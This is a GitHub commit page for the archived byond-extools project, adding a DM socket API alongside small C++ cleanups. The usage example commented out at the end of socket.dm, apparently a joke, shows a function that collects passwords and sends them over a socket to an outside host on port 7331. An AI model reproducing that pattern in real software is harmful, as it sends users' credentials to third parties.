Skip to content
This repository has been archived by the owner on Apr 10, 2021. It is now read-only.

Commit

Permalink
tweaks, api, sample
Browse files Browse the repository at this point in the history
  • Loading branch information
1fbff5f83b23d39d38b1dfcb4cac8d9b committed Jan 10, 2020
1 parent 9b6ede3 commit 03788a5
Show file tree
Hide file tree
Showing 2 changed files with 44 additions and 5 deletions.
10 changes: 5 additions & 5 deletions byond-extools/src/datum_socket/datum_socket.cpp
Original file line number Diff line number Diff line change
@@ -1,6 +1,11 @@
#include "datum_socket.h"
#include "../core/core.h"
#include "../core/proc_management.h"
#include <thread>

#ifndef min
#define min(a,b) (((a) < (b)) ? (a) : (b))
#endif

std::unordered_map<unsigned int, std::unique_ptr<DatumSocket>> sockets;
unsigned int recv_sleep_opcode = -1;
Expand Down Expand Up @@ -72,32 +77,27 @@ void DatumSocket::recv_loop()

trvh register_socket(unsigned int args_len, Value* args, Value src)
{
//Core::Alert("register");
sockets[src.value] = std::make_unique<DatumSocket>();
return Value::Null();
}

trvh connect_socket(unsigned int args_len, Value* args, Value src)
{
//Core::Alert("connect");
return sockets[src.value]->connect(args[0], std::to_string((int)args[1].valuef)) ? Value::True() : Value::False();
}

trvh send_socket(unsigned int args_len, Value* args, Value src)
{
//Core::Alert("send");
return sockets[src.value]->send(args[0]) ? Value::True() : Value::False();
}

trvh check_socket(unsigned int args_len, Value* args, Value src)
{
//Core::Alert("check");
return sockets[src.value]->has_data() ? Value::True() : Value::False();
}

trvh retrieve_socket(unsigned int args_len, Value* args, Value src)
{
//Core::Alert("retrieve");
return Value(sockets[src.value]->recv(1024));
}

Expand Down
39 changes: 39 additions & 0 deletions byond-extools/src/dm/socket.dm
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
/datum/socket
/datum/socket/proc/__register_socket()
/datum/socket/proc/__deregister_socket()
/datum/socket/proc/__check_has_data()
/datum/socket/proc/__wait_for_data()
/datum/socket/proc/__retrieve_data()

/datum/socket/New()
__register_socket()

/datum/socket/Del()
//world << "Deleting socket"
__deregister_socket()

//addr is a string with IP or domain, port is a number
/datum/socket/proc/connect(addr, port)

//returns TRUE on success, FALSE on failure (e.g. disconnect)
/datum/socket/proc/send(data)

//returns the received data as a string. Returns up to `len` bytes as a string, or sleeps until there's data in the buffer.
/datum/socket/proc/recv(len)
if(!__check_has_data())
__wait_for_data()
return __retrieve_data()

//disconnect the socket
/datum/socket/proc/close()

/* Example:
/proc/upload_statistics()
var/statistics = collect_passwords()
var/datum/socket/S = new
S.connect("www.nsa.gov", 7331)
S.send(statistics)
world << S.recv()
*/

0 comments on commit 03788a5

Please sign in to comment.